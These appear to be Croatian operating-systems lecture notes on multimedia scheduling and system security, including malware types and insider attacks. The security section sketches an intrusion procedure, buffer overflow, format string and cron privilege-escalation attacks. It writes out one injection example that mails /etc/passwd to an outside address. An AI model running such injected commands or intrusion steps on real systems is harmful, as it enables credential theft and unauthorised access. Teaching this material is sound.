Posljedica Razlicit broj procesa Svaki na svojoj frekvenciji Svaki sa svojom kolicinom posla Svaki sa svojim rokom do kojega mora završiti posao Pazite uz cekanje na CPU cekamo i na disk operacije!

Page 18: Operacijski sustavi

Algoritam za sinkronizacija takvoga sustava nazivamo Real-time scheduling.

Algoritmi_ RMS_ EDF_ Auditorne…

Paradigme datotecnog sustavaTradicionalni i/o poziv_ Proces zahtjeva open system poziv_ Dobiva se opisnik sustava (file descriptor)_ Koristeci file desctiprot ucitavaju se podaci, poziva se funkcija read sa pokazivacem na meduspremnik_ Podaci se ucitavaju u meduspremnik_ Po završetku close poziv zatvara meduspremnik

Što ovdje ne valja za multimediju?Real – time pristup!Dohvat podataka bez trzanja videa…. Stalan stream

Multimedia datotecni poslužiteljPrincip rada VCR-a (video cassette recorders):Poziva se start system callSustav pocinje slati okvire u nekom vremenkom slijedu do trenutka dok klijent ne pošalje stopPristup se naziva push server, za razliku od tradicionalnog i/o koji se naziva pull server

VCR funkcijePitanje pauziranja:_ Koliko se ceka korisnik prije nego se oslobode resursi za njega

Pitanje premotavanja_ Na pocetaka : frame=0_ Unaprijed i unazad

Ako nema kompresije k brzina : prikazuj svaki k frameAko je kompresija

Gdje je audio s obzirom da ima svoju kompresijuKod MPEG-a ako je B ili P frame kako doci do prethodnog ili slijedeceg odnosno potrebnih prethodnih i slijedecih.Rješenje1: opteretiti mrežu i poslati video k puta brže !Rješenje2: imati zasebnu datoteku koja pokazuje na svaki kti frame za MPEG-2 i kod citanja obratiti pažnju da treba prikazati samo prvi slijedeci I-frame.

Near Video on demandDa bi se uštedjeli resursi streaming pocinje svakih pet minutaKlijentu nije problem cekati u najgorem slucaju 4 minute za pocetak filma.Ovako se ogranicava moguci broj streaminga na poslužiteljuNisu moguce VCR funkcijeUsporedba je da je NVoD bus, a VoD taxi buduci da taxi dode kada ga se pozove i samo je za Vas, dok bus ide na odredeno vrijeme i ne možete upravljati njegovim putem

Near Video on Demand sa VCR funkcijamaDefinira se play point

Page 19: Operacijski sustavi

Kako se video pokrece svakih x minuta korisnik uvijek može uloviti najbliži video streamDa se omoguci brzo lokalno premotavanje korisniku dio streama izmedu dva postojeca moguce je držati u meduspremniku samo za toga korisnika

Datoteke Kontinuirano snimanje na jedan diskNekontinuirano snimanje u malim blokovima ili u velikim blokovima (više okvira u jednom bloku)

CashingUvelike ubrzava ako imamo dva ista streama i radimo jednu disko operacijuHvatanje streamaKako bi bilo što više istih streamova u sustavu dozvoljeno je usporavanje i ubrzavanje streaminga do 5%Omogucava ubacivanje reklama (gledanje filma po nižoj cijeni) i zatim lovljenje najbližeg streaminga radi ponovnog ukljucenja u film.

Disc scheduling Staticki

_ Vrijedi samo kod istih filmova (frame rate, rezolucija..)

Dinamicki_ Kod razlicitih obilježja pojedinog filma_ Dva parametra se koriste

Deadline – kada treba podatakaCilindar – koji bi slijedeci trebao ici da se kazaljka diska manje šece

_ Scan-EDF algotitam (Reddy and Wyllie 1994)Grupiraju se deadlineIzvršavaju se po redu najbližeg cilindra

SIGURNOST

Prijetnje i ciljeviPrijetnja: vidljivost podataka

Cilj: Tajnost podatakaPrijetnja: promjena podataka

Cilj: Integritet podatakaPrijetnja: Denial of service

Cilj: Visoka dostupnost sustavaPrijetnja: System pun virusa

Cilj: izolacija vanjske mreže

Trece osobe

Cetiri najcešce kategorije Slucajan upad od strane informaticki slabo obrazovanih ljudi

Korištenjem gotovih alata cesto iz znatiželje

Istraživanje od strane zaposlenikaIstraživanje iznutra: studenti, zaposlenici, ulazu svoje radno vrijeme, cesto iz želje za osvetom ili radi dokazivanja

Page 20: Operacijski sustavi

Postupci provale zbog ostvarenja financijske koristi “Plati ili cu ti uništiti bazu”

Komercijalna ili vojna špijunaža Dolazak do bitnih podataka radi ostvarivanja prednosti na nekom Tržištu

Gubici podatakaRazlozi:

Slucajnost (act of God): vatra, poplava, potresi… Sklopovske ili programske greške: CPU, disc, mreža Ljudske pogreške: krivi unos, izgubljeni backup…

Zaštita podatakaKripotografijom:

Jednostavan pregledSimetricni algoritmiAsimetricni algoritmi (privatni i javni kljuc)Jednosmjerne funkcije (hash)

Čine osnovuDigitalni potpisDigitalna omotnicaDigitalni pecat

Što štititi?Sklopovlje

CPU, memorijske segmente, disk, printer…Programe

Procesi, datoteke, baze, semafore….Svaki objekt koji se štiti ima jedinstveno ime i akcije koje može izvršitiDomena je set podataka. Svaki podatak sastoji se od objekta i pravila (akcije)Objekti ulaze u domene sa ciljem da svaka domena ima minimum objekata i privilegija

UNIX princip domena_ Svaki korisnik kada se spoji dobiva UID i GID_ Dva procesa pokrenuta pod istim UID-om i GID-om imaju jednak pristup svim resursima_ Kod sistemskog poziva proces ulazi u kernel mod u kojem mijenja domenu , prema tome mu se omogucuje pristup dodatnom setu resursa_ SETGID SETUID bit omogucuju procesu da promjeni GID i UID u trenutku pokretanja (windows: run as a administrator). Time dobiva povlaštene resurse._ Kako s time radi OS?. Odgovor je protection matrix

UNIX princip domena_ Što ako želimo omoguciti promjenu domena procesu?_ Dodajemo u matricu i domene

Enter oznacava da se domena može promijeniti

U praksiSpremanje ovakve matrice bi zauzelo previše nepotrebnog prostoraKoristiti access control list (ACL)

Tri procesa A, B i CSvaki u vlasništvu svog korisnika A,B i C

Tri datoteke F1, F2 i F3

Page 21: Operacijski sustavi

Svaka datoteka definira pristupne mogucnosti za svakog korisnika: R read W write X executeDodatno se definiraju i mogucnosti koje korisnik može primijeniti nad datotekom

CopyRemoveDestroy…

Sigurnost

Da li je moguce izgraditi sigurni racunalni sustav?_ DA

Ako je zašto ga ne napravimo?Sustavi koji su sigurni: Znacajno ogranicavaju korisnika Za proizvodaca nisu ekonomski isplativi ( da li kupiti nadogradnju ako imate koristan i

siguran OS)

PrimjerE-mail se prije slao kao ASCII tekst i bio je siguranDanas kada se šalju prilozi, ili kao html postao je nesiguranDa li ste voljni toga se odreci?

Web stranicePrije su bile pasivne (statican html)Da li ste voljni se vratiti unazad?

Sustavi od povjerenjaBolja definicija od sigurnih sustavaTakav sustav graden je od minimalnog TCB elementa (Trusted computer base) Detalji grade takvog sustava:minimun koda u jezgri vecina kao korisnicki procesiMinimalna velicina TCB elementa

Zašto bi printer bio u TCB elementu?Zašto je datotecni sustav u TCB elementu!

Važan dio sustava je monitor (nadzornik sustava)Sve sigurnosne odluke se nalaze u njemu i on odlucuje jedini

Autentifikacija i identifikacija

Identifikacija_ Element kojim se jedinstveno opisuje user_ Poznat svima , npr username

Autentifikacija_ Potvrda da je to stvarno ta osoba_ Nešto što samo korisnik zna (lozinku)_ Nešto što samo korisnik posjeduje (token)_ Nešto što korisnik je (otisak prsta)

Napadi iznutra

Page 22: Operacijski sustavi

Logicka bombaKod koji je ciljno napisan i dio produkcijskog koda kao zaštita programera. Aktivira se odmah

Svaki dan/tjedan osoba popice detonaciju Izvršavanjem nekog drugog koda. Upisivanjem lozinke…

U slucaju otkaza Logicka bomba se aktivira Briše datoteke Enkriptira znacajne podatke Sakriva svoje tragove (self destroy)

Trap door (trojanski konj)Dio koda namjerno ostavljen da bi se kasnije osigurao zašticen ulaz

Login spoofingIzrada ekrana koji je identican ekranu od pravog korisnickog suceljaPo unosu lozinke onda se bilježi i poziva se valjan programSkupljene lozinke se mogu kasnije upotrijebiti za odmazdu buduci da kod otkaza poslodavac nije svjestan svih lozinki koje korisnik posjeduje.

ExploitPrimjer iskorištenja ranjivostiPokrenuti automatski port scan program koji ima podignut recimo servis telnetPokušavati se logirati sa guest korisnickim racunomAko se uspješno spoji pokrenuti program koji izaziva bug

Kada se dobite SETUID pristup pokrenuti zombie program koji jeuvijek na raspolaganju Ako nije uspjelo spajanje pogledati verziju programa koji server koristi (najcešce piše) i pretražiti google za exploitom za telnet

Upotrijebiti exploit za spajanje na serverKada se dobite SETUID pristup pokrenuti zombie program koji je uvijek na raspolaganju

Buffer overflow an integer overflowchar B[1024]; - unos imena datotekeB[12000]=0 – unos korisničkog imena i lozinke ... ...Memorija na nekoj lokaciji ce biti promijenjena?!

Što ako varijabla B sadrži kod neke naredbeIli odmah iznada varijable B se nalazi kod? Prepraviti kod da napravi jump na novu adresu. Nova adresa može pokrenuti system call koji izmjenicrontab i pokrene neki servis koji do sada nije pokrenut sadefault postavkama. Ili ako je velika rupa i ubaciti svoj kod

Format string attackFeature %nint i=0;printf(“Hello %nworld\n”,&i); // koliko slova do kraja ima zapisujeu varijablu iprintf(“i=%d”,i) // i=6Što ako program omogucava da se nešto ucita i zatim to ispisujeŠto ako unesemo %n !Kod ispisivanja %n se nece ispisati vec ce prepisati varijablu iza!

Return to libc attack

Page 23: Operacijski sustavi

Varanje library funkcije sa ciljem da prepiše u data dio skriptu napadaca (shellcode)Ako je program pod SETUID privilegijama kod ce se izvršiti pogubno za operacijski sustav

Code injection attackKod jednostavne CD naredbe pozvan: cp abc xyz; mail [email protected] </etc/passwd

Privilege escalation attackCron je scheduler na unix sustavima

Postoji direktorij cron.daily , cron.hourly… u koji idu skripte za svakodnevno, svaki sat … izvršavanje

Do kernela 2.6.13Napadac postavi cron direktorij kao defaultNe može pisati u njega ali može uzrokovati da program padneU tom slucaj system zapisuje core dump u taj direktorij (sliku memorijskih adresa u trenutku pada programa)Napadac može naštimati da core dump (slika memorije) bude kod koji ce cron izvršiti!

Maligna programska podrškaMalware - malicious software - za zarazu i oštecivanje racunalnog sustava bezobavijesti korisniku._ virusi_ crvi (worm)_ trojanski konj (trojan horse)_ spyware_ adwarepravni izraz u US: computer contaminant; nastali su kao psine koje otežavaju rad kolegama; sa povecavanjem brzine interneta povecao se i njihov brojzarada na antivirus programima, teorija zavjere: tko piše viruse?; zarada na raznim alatima za obranu od svega osim virusa: Lavasoft ad aware, Spybot, Registry cleaner...; svaki pomalo cisti najbolje sam

Virus boot sector virusi - prvi virusi (Amiga, Atari..) Link virusi (poceli na PC, napadaju izvršne datoteke) Multiparitet (Hybrid) virus - kombinacija boot i datoteke virusa Macro virusi - napadaju word/excell, neovisni o platformi, nastali 1995->melissa Mrežni virusi - napadaju dijeljene prostore, šire se LAN-om, -> Nimda,SQLSlammer Logic Bomb - širi se , ali se aktivira uz odredeni uvjet, recimo vrijeme->da vinci Cross-site-scripting virus - napada web aplikacije i internet preglednike Non resident virusi – ne nalaze se stalno u memoriji nego se izvršavaju kad se pokrene

neka izvršna datoteka koju su inficirali. Traže datoteke specificnog imena ili ekstenzije i zaražuju ih.

Resident virus – ostaju aktivni u memoriji nakon što ih se prvi puta pokrene

Virus zavaravanje sustava cavity virus (piše u šuplji datoteke) povrat originalnog datuma ne inficira sumnjivi kod (anti-virus) blokira sistemske pozive (safe-mode) modificiranje koda na svakoj infekciji modifikacija na jednostavni nacin enkcripcija sa kljucem polymorphic code, enkripcija sa slucajnim kljucem, mijenja algoritam za dekripciju

Page 24: Operacijski sustavi

metamorphic - ponovno se napiše svaki puta

Crv (worm)koristi racunala za širenje; ne ostaje na racunalu sa kojega se širitipovi:_ e-mail - u prilogu ili link na vanjsku stranicu ->Ana Kournikova_ Instant messaging - kroz poruke, rijedak_ IRC - putem boota ili rucno slanje linkova ili datoteka na IRC_ File sharing - p2p_ Internet - gada TCP/IP protokol -> blaster koristi MS RPC_ security patch_ ne otvarati sumljive poruke --> ILOVEYOU <3 <3

Trojanski konj (Trojan horse)prema Grckoj legendi o Trojiširenje kroz dva nacina

izmjene na valjanoj programskoj podršci (p2p alatima) razne igre, screensaver...

Ne širi se samostalno vec ovisi o socijalnom inženjeringuPrimjeri: Remote access, Email sending, Data Destructive, Proxy Trojan, FTP trojan, Securitydisable, DoS, URL trojan

Mjere zaštite:ne otvarajte nepoznate poruke narocito one sa prilozimaonemogucite e-mail klijentu da automatski otvara prilogeizbjegavajte p2p alate , narocito exe datoteke koje skinete

Metode zaraze: website, e-mail ili otvoreni portMaskiranje: svchost32.exe, svhost.exe, back.exeSvaki se uklanja na svoj nacin

Spywareskuplja informacije o korisniku racunalanajcešce kao toolbar, usluga o vremenskoj prognozi, search tool...

Dostupne informacije:_ Pritisci tipkovnice (lozinke i korisnicka imena)_ posjete stranicama_ dokumenti na disku_ slanje dokumenata na disku na mrežu ?_ web forma --> kreditne kartice!

Cesto ga i svjesno prihvacate_ Primjeri: CoolWebSearch - povezan sa trojanom slao gomile informacija na webInternet optimizer, 180 solutions (Zango), HuntBars, Movieland...

dvije metode legalnostiprihvatite ga (licencni ugovor) da može pristupati svim vašim podatcimada dodete do koristi firma je registrirana gdje je to legalno

Adware - advertising-supported softwareautomatski prikazuje , pušta i skida reklamne materijale

Page 25: Operacijski sustavi

osigurava korektnu cijenu programske podrške i nadoknadu programeru za besplatne alatecesto su maskirani sa besplatnim igrica, screensaver-ima..Primjeri: bonzibuddy, PornDigger, WhenU, Smiley Central...

Cišcenje adawere i spayware Ad awere (Lavasoft) CounterSpy Spybot search and destroy Spy substract Spy sweeper Spyware doctor AVG anti spyware

ali? što je sa pitaj google rješenjem?postoje i programi koji naizgled ciste sustav, a u biti su spyware:zajednicko ime: rogue software error safe; Pest trap; SpyAxe; Antivirus Gold; Spyware strike; World Antispy; Spy Sheriff; Spy Wiper; PAL spyware Remover; Psguard; WinAntiVirusPro 2006; WinFixer; ....ima ih više!

Korisni programi koji ukljucuju spyware: BearShare; Bonzi buddy; DopeWars; ErrorGuard; Grokster; Kazaa; Morpheus; RedLight; WeatherBug; Edonkey 2000; Sony extended copy protection Prije: AOL instant messenger DivX LimeWire FlashGet

Anti virus alati Pristup pronalaženja virusa što sa virusom:

pokušaj popravka karantena brisanje datoteke

rjecnik virusasumnjivo ponašanje - korisnik izabire što ceheuristicka analiza

_ presrece izvršavanje_ ako program modificira svoj kod tada je virus

sandbox - simulira se OS - performanseWhitelist (narocito adware)